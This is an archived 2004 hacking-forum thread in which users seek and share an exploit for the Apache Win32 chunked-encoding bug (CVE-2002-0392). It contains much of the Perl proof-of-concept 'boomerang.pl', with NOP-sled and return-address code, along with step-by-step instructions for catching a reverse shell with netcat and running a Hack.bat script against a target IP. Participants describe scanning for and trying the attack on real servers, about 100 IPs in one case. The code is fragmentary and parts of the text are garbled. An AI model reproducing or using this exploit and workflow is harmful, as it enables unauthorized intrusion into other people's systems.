do you not see works only on linux and ***bsd, and linux and bsd targets?
G36K
Feb 22 2004, 09:40 PM
QUOTE (future @ Feb 22 2004, 09:14 PM)
do you not see works only on linux and ***bsd, and linux and bsd targets?
My Scanz are:
xxx.xxx.xxx.xxx FOUND Apache 1.3.14 Win32!
Nexcess
Feb 22 2004, 09:52 PM
hxxp://www.google.com
it works miracles...
bitwild
Feb 22 2004, 10:58 PM
make sure to use it with '8&hl=xx-hacker' just makes you feel l33ter ;)
G36K
Feb 23 2004, 12:25 PM
QUOTE (Nexcess @ Feb 22 2004, 09:52 PM)
hxxp://www.google.com
it works miracles...
LOL?? Kick it in your ass - Spammer!!
I search Expliot for Apachechunked (Win32) no asshole comments.
this the Expliot??:
CODE
#!/usr/bin/perl ###############
##[ Header # Name: boomerang.pl # Purpose: Proof of concept exploit for Apache Win32 chunked encoding bug # CVE: CVE-2002-0392 # Author: H D Moore <hdmoore@digitaldefense.net> # Copyright: Copyright (C) 2003 Digital Defense Inc. # Distribution: This code may not be redistributed. # Release Date: January 9, 2003 # Revision: 1.1 # Download: http://www.digitaldefense.net/labs/securitytools.html ##
##[ Notes # # This exploit causes the remote process to connect back # to the attacking system and spawn a shell. The address # and port are specified via -H and -P. This code will # only work on Windows 2000 (all SP's) and may fail if # Apache service has third-party modules installed. If # the default settings don't work, try running in "brute" # or "quick" mode. The Apache code that is bundled with # related Oracle and IBM products may die after the first # attempt, otherwise brute-forcing is entirely possible. A # working NT 4.0 exploit exists but will not be made public, # the memory layout is a bit different and esi is used instead # of ebx for returning back to the shell code. # ###
use strict; use POSIX; use IO::Socket; use IO::Select; use Getopt::Std;
# large nop sled plus shellcode $request .= ("\x90" x ($scsz - length($scode))); $request .= $scode . "\r\n";
# these three bytes are for address alignment $request .= "PAD";
# place the appropriate amount of padding $request .= ("O" x $pad);
# this is where ebx points, make it jump over the return address $request .= "XX" . "\xeb\x04\xeb\x04";
# this is the return address, it needs to point to a valid "jmp ebx" instruction $request .= pack("l", $jmp_ebx);
# a mini nop sled for the short jmp to land in $request .= ("\x90\x90\x90\x90" x 4);
# add 1300 to esp to hurdle into the nop sled before the shellcode $request .= "\x81\xc4\x14\x05\x00\x00"; # add esp, 1300 $request .= "\xff\xe4"; # jmp esp
return $request; }
sub GetHead { my ($host, $port) = @_; my $srv;
my $sh = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => $port, Type => SOCK_STREAM );
if (! $sh) { print "[*] Error, could not connect to the remote host: $!\n"; exit(0); } else { print $sh "HEAD / HTTP/1.0\r\n\r\n";
while (<$sh>) { if (m/Server: (.*)/) { $srv = $1; $srv =~ s/\r|\n//g; } }
if (! $srv) { print "[*] Error, the server did not reply with a web server banner\n"; } close ($sh); return $srv; } }
sub AttemptExploit { my ($host, $port, $request) = @_; my $s = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => $port, Type => SOCK_STREAM );
if (! $s) { print "[*] Error, could not connect to $host:$port.\n"; exit(0); }
sub Unblock { my $fd = shift; my $flags; $flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n"; fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n"; }
sub GoAway { exit(0); }
# shellcode by hsj => http://hsj.shadowpenguin.org __DATA__
Extract it, put it in a directory together with the Hack.bat you've made and give it a try...
Well it the still helpful gives here. But which fuern by custom I would be best left. The Exsample there above is well however badly to understand custom already more exactly.
Now let NetCat run and listen to port 35 with this command:
CODE
nc.exe -L -vv -p 35
Put the file 'Hack.bat' in the same directory where you stored/downloaded boomerang_win.pl and open a command-windows (Start --> Run --> CMD), go to the directory where all the files are and type the following command:
CODE
Hack.bat <version> <IP>
I've explained the variable for the version before.
bitwild
Feb 23 2004, 08:11 PM
QUOTE
QUOTE (Nexcess @ Feb 22 2004, 09:52 PM)
hxxp://www.google.com
it works miracles...
LOL?? Kick it in your ass - Spammer!!
I search Expliot for Apachechunked (Win32) no asshole comments.
so don't ask (multiple)asshole questions...
G36K
Feb 24 2004, 12:12 PM
QUOTE (Leonnetje @ Feb 23 2004, 08:05 PM)
Dude, 1 more time from beginning.
Go to that link and download ActivePerl + install it (maybe you need to reboot after install)
Now let NetCat run and listen to port 35 with this command:
CODE
nc.exe -L -vv -p 35
Put the file 'Hack.bat' in the same directory where you stored/downloaded boomerang_win.pl and open a command-windows (Start --> Run --> CMD), go to the directory where all the files are and type the following command:
CODE
Hack.bat <version> <IP>
I've explained the variable for the version before.
Amusingly it does not open only the editor with the ausfuerhen and nc.exe exestiert with me @ Win2k times.
\\EDIT:
[*] Options are ignored using brute force mode. [*] Using target settings for Apache/1.3.24 [*] Start Netcat on port 35
night^man
Feb 24 2004, 12:19 PM
hmm.. it's preaty old i try some today somthing like 100ip's and nothing all server R patched
Leonnetje
Feb 24 2004, 03:42 PM
Yep, it's older and probably as dead as can be...
G36K, i give up.. i've explained everything you need to do, it should work now, but you'll have to be VERY lucky to get a shell.
DvilleStoner
Feb 26 2004, 09:06 AM
so sad
Nexcess
Feb 26 2004, 09:14 AM
I didnt bother to reply up till this point as, i figured he'd be deleted by now. Can we be rid of him please?
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.